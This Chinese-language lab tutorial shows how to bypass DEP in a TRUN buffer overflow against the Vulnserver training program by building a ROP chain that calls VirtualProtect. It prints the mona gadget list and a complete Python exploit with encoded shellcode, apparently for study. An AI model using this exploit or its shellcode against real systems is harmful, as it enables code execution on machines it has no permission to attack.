0%

Vulnserver TRUN Bypass DEP With ROP

测试环境:Windows 10 21H2 32位。

这次开启全局DEPWindows下如下所示开启。

DEP

开启DEP之后,之前能够运行的shellcode将无法执行。为了解决这个问题,可以使用VirtualProtect函数来更改一片栈空间的权限为PAGE_EXECUTE_READWRITE。来看一下函数的定义:

1
2
3
4
5
6
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);

lpAddress:需要更改访问保护属性的页区域的起始页地址。

dwSize:要更改访问保护属性的区域的大小,以字节为单位。

flNewProtect:内存保护选项。

lpflOldProtect:指向变量的指针,该变量接收指定页面区域中第一页的先前访问保护值。

所以栈的布局应该为如下所示:

DEP

注意栈布局上,跟在VirtualProtect函数地址后面的第一个参数是返回值,返回到VirtualProtect函数更改为执行权限的的栈空间上(就是shellcode所在的位置),可以理解为VirtualProtectshellcode有了可执行权限,然后VirtualProtect函数返回后,需要恢复到调用栈的返回地址,这里让返回地址指向shellcode,这样就可以达成执行shellcode代码的作用。

难点主要在寻找合适的ROP链。

最简单的方式是把需要的值存入寄存器,然后PUSH进栈。这可以使用PUSHAD指令完成。这个指令将会在栈中以下列顺序压入寄存器:

EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI

所以最终栈的布局应该为如下所示:

DEP

首先,寻找一个RETN指令。(也称Stack Pivot,用于把执行流返回到栈上)

1
!mona find -type instr -s "retn" -p 10 -o

DEP

这里选择0x62501022这个地址所指向的RETN指令。

使用mona寻找gadgets

1
!mona rop -m *.dll -n

执行完成之后,打开rop_chains.txt文件,找到python部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
*** [ Python ] ***

def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
0x76cfaf80, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
0x76cc6a56, # MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x75d31470, # XCHG EAX,ESI # RETN [WS2_32.DLL] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebp:---]
0x77363469, # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
0x625011bb, # & jmp esp [essfunc.dll]
#[---INFO:gadgets_to_set_ebx:---]
0x756c0feb, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0xfffffdff, # Value to negate, will become 0x00000201
0x75ad236e, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x76cdbaf2, # XCHG EAX,EBX # RETN [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edx:---]
0x75693f92, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0xffffffc0, # Value to negate, will become 0x00000040
0x75ad3798, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x773ff292, # XCHG EAX,EDX # RETN [ntdll.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ecx:---]
0x76ccbb50, # POP ECX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x76d23c03, # &Writable location [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edi:---]
0x76cbff49, # POP EDI # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x75ad379a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_eax:---]
0x756cc74e, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0x90909090, # nop
#[---INFO:pushad:---]
0x74bcf282, # PUSHAD # RETN [mswsock.dll] ** REBASED ** ASLR
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

结合之前栈溢出的shellcode,最终的exploit.py如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/env python3
import socket
import struct

HOST = '192.168.13.145'
PORT = 9999

shellcode = b""
shellcode += b"\xbb\x90\xe7\x9a\xa0\xda\xc2\xd9\x74\x24\xf4"
shellcode += b"\x58\x33\xc9\xb1\x52\x31\x58\x12\x83\xc0\x04"
shellcode += b"\x03\xc8\xe9\x78\x55\x14\x1d\xfe\x96\xe4\xde"
shellcode += b"\x9f\x1f\x01\xef\x9f\x44\x42\x40\x10\x0e\x06"
shellcode += b"\x6d\xdb\x42\xb2\xe6\xa9\x4a\xb5\x4f\x07\xad"
shellcode += b"\xf8\x50\x34\x8d\x9b\xd2\x47\xc2\x7b\xea\x87"
shellcode += b"\x17\x7a\x2b\xf5\xda\x2e\xe4\x71\x48\xde\x81"
shellcode += b"\xcc\x51\x55\xd9\xc1\xd1\x8a\xaa\xe0\xf0\x1d"
shellcode += b"\xa0\xba\xd2\x9c\x65\xb7\x5a\x86\x6a\xf2\x15"
shellcode += b"\x3d\x58\x88\xa7\x97\x90\x71\x0b\xd6\x1c\x80"
shellcode += b"\x55\x1f\x9a\x7b\x20\x69\xd8\x06\x33\xae\xa2"
shellcode += b"\xdc\xb6\x34\x04\x96\x61\x90\xb4\x7b\xf7\x53"
shellcode += b"\xba\x30\x73\x3b\xdf\xc7\x50\x30\xdb\x4c\x57"
shellcode += b"\x96\x6d\x16\x7c\x32\x35\xcc\x1d\x63\x93\xa3"
shellcode += b"\x22\x73\x7c\x1b\x87\xf8\x91\x48\xba\xa3\xfd"
shellcode += b"\xbd\xf7\x5b\xfe\xa9\x80\x28\xcc\x76\x3b\xa6"
shellcode += b"\x7c\xfe\xe5\x31\x82\xd5\x52\xad\x7d\xd6\xa2"
shellcode += b"\xe4\xb9\x82\xf2\x9e\x68\xab\x98\x5e\x94\x7e"
shellcode += b"\x0e\x0e\x3a\xd1\xef\xfe\xfa\x81\x87\x14\xf5"
shellcode += b"\xfe\xb8\x17\xdf\x96\x53\xe2\x88\x58\x0b\xe1"
shellcode += b"\xc1\x31\x4e\xf9\xc0\x9d\xc7\x1f\x88\x0d\x8e"
shellcode += b"\x88\x25\xb7\x8b\x42\xd7\x38\x06\x2f\xd7\xb3"
shellcode += b"\xa5\xd0\x96\x33\xc3\xc2\x4f\xb4\x9e\xb8\xc6"
shellcode += b"\xcb\x34\xd4\x85\x5e\xd3\x24\xc3\x42\x4c\x73"
shellcode += b"\x84\xb5\x85\x11\x38\xef\x3f\x07\xc1\x69\x07"
shellcode += b"\x83\x1e\x4a\x86\x0a\xd2\xf6\xac\x1c\x2a\xf6"
shellcode += b"\xe8\x48\xe2\xa1\xa6\x26\x44\x18\x09\x90\x1e"
shellcode += b"\xf7\xc3\x74\xe6\x3b\xd4\x02\xe7\x11\xa2\xea"
shellcode += b"\x56\xcc\xf3\x15\x56\x98\xf3\x6e\x8a\x38\xfb"
shellcode += b"\xa5\x0e\x58\x1e\x6f\x7b\xf1\x87\xfa\xc6\x9c"
shellcode += b"\x37\xd1\x05\x99\xbb\xd3\xf5\x5e\xa3\x96\xf0"
shellcode += b"\x1b\x63\x4b\x89\x34\x06\x6b\x3e\x34\x03"

def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
0x76cfaf80, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
0x76cc6a56, # MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x75d31470, # XCHG EAX,ESI # RETN [WS2_32.DLL] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebp:---]
0x77363469, # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
0x625011bb, # & jmp esp [essfunc.dll]
#[---INFO:gadgets_to_set_ebx:---]
0x756c0feb, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0xfffffdff, # Value to negate, will become 0x00000201
0x75ad236e, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x76cdbaf2, # XCHG EAX,EBX # RETN [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edx:---]
0x75693f92, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0xffffffc0, # Value to negate, will become 0x00000040
0x75ad3798, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x773ff292, # XCHG EAX,EDX # RETN [ntdll.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ecx:---]
0x76ccbb50, # POP ECX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x76d23c03, # &Writable location [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edi:---]
0x76cbff49, # POP EDI # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x75ad379a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_eax:---]
0x756cc74e, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0x90909090, # nop
#[---INFO:pushad:---]
0x74bcf282, # PUSHAD # RETN [mswsock.dll] ** REBASED ** ASLR
]

return b''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()


PAYLOAD = (
b'TRUN /.:/' +
b'A' * 2003+
# 62501022 \. C3 RETN
struct.pack('<L', 0x62501022) +
rop_chain+
b'\x90'*16+
shellcode
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

注意:1.rop_chain后面需要一些填充,可以使用'\x90'来进行,一般为16的整数倍,也可以直接替换为指定b'\x83\xE4\xF0',这是边界对齐指令and esp, 0xfffffff0的机器码。2.这里的rop链仅在当前状态下能够执行成功,系统重启之后会失败,因为rop gadget引用的大部分dll都开启了aslr,注意看上面的代码中的注释** REBASED ** ASLR。每次加载的时候地址会发生变化。

效果图:

DEP

参考:https://fluidattacks.com/blog/vulnserver-trun-rop/